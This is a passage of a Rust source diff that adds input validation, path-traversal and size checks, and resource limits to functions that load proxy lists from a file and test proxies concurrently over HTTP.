+        sanitized
+    } else {
+        format!("http://{}", sanitized)
+    };
+
+    // Parse URL
+    let url = Url::parse(&candidate)
+        .map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
+
+    // Validate the proxy URL
+    validate_proxy_url(&url)?;
+
     Ok(candidate)
 }
 
-/// Load proxies from a file, returning a summary containing valid proxies and skipped entries.
+/// Load proxies from a file with enhanced security and validation
 pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
-    let file = fs::File::open(filename)
+    // Input validation
+    if filename.is_empty() {
+        return Err(anyhow!("filename cannot be empty"));
+    }
+    
+    // Path validation - prevent path traversal
+    let path = Path::new(filename);
+    
+    // Check for path traversal attempts
+    if filename.contains("..") {
+        return Err(anyhow!("path traversal detected in filename: '{}'", filename));
+    }
+    
+    // Resolve to absolute path to check
+    let canonical = path.canonicalize()
+        .map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
+    
+    // Check file exists and is a regular file
+    if !canonical.is_file() {
+        return Err(anyhow!("'{}' is not a regular file", filename));
+    }
+    
+    // Check file size to prevent reading huge files
+    let metadata = fs::metadata(&canonical)
+        .with_context(|| format!("failed to read file metadata for '{}'", filename))?;
+    
+    if metadata.len() > MAX_FILE_SIZE {
+        return Err(anyhow!(
+            "file too large (max {} bytes, got {} bytes)",
+            MAX_FILE_SIZE,
+            metadata.len()
+        ));
+    }
+    
+    // Open file
+    let file = fs::File::open(&canonical)
         .with_context(|| format!("failed to open proxy file '{}'", filename))?;
     let reader = BufReader::new(file);
 
     let mut proxies = Vec::new();
     let mut skipped = Vec::new();
+    let mut line_count = 0usize;
 
     for (idx, line_res) in reader.lines().enumerate() {
+        line_count = idx + 1;
+        
+        // Limit number of lines to process
+        if line_count > MAX_PROXIES {
+            skipped.push(ProxyParseError {
+                line_number: line_count,
+                content: format!("... (truncated after {} lines)", MAX_PROXIES),
+                reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
+            });
+            break;
+        }
+        
         let raw_line = line_res
             .with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
         let trimmed = raw_line.trim();
 
+        // Skip empty lines and comments
         if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
             continue;
         }
@@ -219,47 +475,99 @@ pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
             Ok(proxy) => proxies.push(proxy),
             Err(err) => skipped.push(ProxyParseError {
                 line_number: idx + 1,
-                content: trimmed.to_string(),
+                content: if trimmed.len() > 100 {
+                    format!("{}...", &trimmed[..100])
+                } else {
+                    trimmed.to_string()
+                },
                 reason: err.to_string(),
             }),
         }
     }
 
     if proxies.is_empty() {
-        return Err(anyhow!("no valid proxies found in '{}'", filename));
+        return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
+    }
+    
+    // Limit number of proxies
+    if proxies.len() > MAX_PROXIES {
+        let original_count = proxies.len();
+        proxies.truncate(MAX_PROXIES);
+        return Err(anyhow!(
+            "too many proxies (max {}, found {}). Truncated to {}",
+            MAX_PROXIES,
+            original_count,
+            MAX_PROXIES
+        ));
     }
 
     Ok(ProxyLoadSummary { proxies, skipped })
 }
 
-/// Test proxies concurrently and return which passed connectivity checks.
+/// Test proxies concurrently with enhanced validation and resource limits
 pub async fn test_proxies(
     proxies: &[String],
     test_url: &str,
     timeout_secs: u64,
     max_parallel: usize,
 ) -> ProxyTestSummary {
+    // Input validation
     if proxies.is_empty() {
         return ProxyTestSummary {
             working: Vec::new(),
             failed: Vec::new(),
         };
     }
+    
+    // Validate and limit inputs
+    let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
+    let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
+    
+    // Limit number of proxies to test
+    let proxies_to_test = if proxies.len() > MAX_PROXIES {
+        &proxies[..MAX_PROXIES]
+    } else {
+        proxies
+    };
+    
+    // Validate test URL
+    let test_url = test_url.trim();
+    if test_url.is_empty() {
+        return ProxyTestSummary {
+            working: Vec::new(),
+            failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
+                proxy: p.clone(),
+                reason: "test URL is empty".to_string(),
+            }).collect(),
+        };
+    }
+    
+    // Validate URL format
+    if let Err(e) = Url::parse(test_url) {
+        return ProxyTestSummary {
+            working: Vec::new(),
+            failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
+                proxy: p.clone(),
+                reason: format!("invalid test URL: {}", e),
+            }).collect(),
+        };
+    }
 
-    let timeout = Duration::from_secs(timeout_secs.max(1));
-    let parallel = max_parallel.max(1);
-    let semaphore = Arc::new(Semaphore::new(parallel));
+    let timeout = Duration::from_secs(timeout_secs);
+    let semaphore = Arc::new(Semaphore::new(max_parallel));
     let mut tasks = FuturesUnordered::new();
 
-    for proxy in proxies.iter().cloned() {
+    for proxy in proxies_to_test.iter().cloned() {
         let test_url = test_url.to_string();
         let semaphore = Arc::clone(&semaphore);
         tasks.push(tokio::spawn(async move {
-            let permit = semaphore.acquire_owned().await;
-            if permit.is_err() {
-                return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
-            }
-            let _permit = permit.unwrap();
+            let permit = match semaphore.acquire_owned().await {
+                Ok(p) => p,
+                Err(_) => {
+                    return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
+                }
+            };
+            let _permit = permit;
             let result = check_proxy(&proxy, &test_url, timeout).await;
             (proxy, result)
         }));
@@ -287,10 +595,26 @@ pub async fn test_proxies(
     summary
 }
 
+/// Check a single proxy with enhanced error handling and validation
 async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
+    // Validate inputs
+    if proxy.is_empty() {
+        return Err(anyhow!("proxy cannot be empty"));
+    }
+    
+    if test_url.is_empty() {
+        return Err(anyhow!("test URL cannot be empty"));
+    }
+    
+    // Validate URL format
+    let _test_url_parsed = Url::parse(test_url)
+        .map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
+
+    // Create proxy configuration
     let proxy_cfg = reqwest::Proxy::all(proxy)
         .with_context(|| format!("invalid proxy '{}'", proxy))?;
 
+    // Build HTTP client with timeout
     let client = reqwest::Client::builder()
         .timeout(timeout)
         .proxy(proxy_cfg)
@@ -298,16 +622,20 @@ async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<(
         .build()
         .context("failed to build reqwest client")?;
 
+    // Make request with timeout
     let response = client
         .get(test_url)
+        .timeout(timeout)
         .send()
         .await
         .with_context(|| format!("request via proxy '{}' failed", proxy))?;
 
-    if !response.status().is_success() {
+    // Check response status
+    let status = response.status();
+    if !status.is_success() {
         return Err(anyhow!(
             "received HTTP status {} while hitting {}",
-            response.status(),
+            status,
             test_url
         ));
     }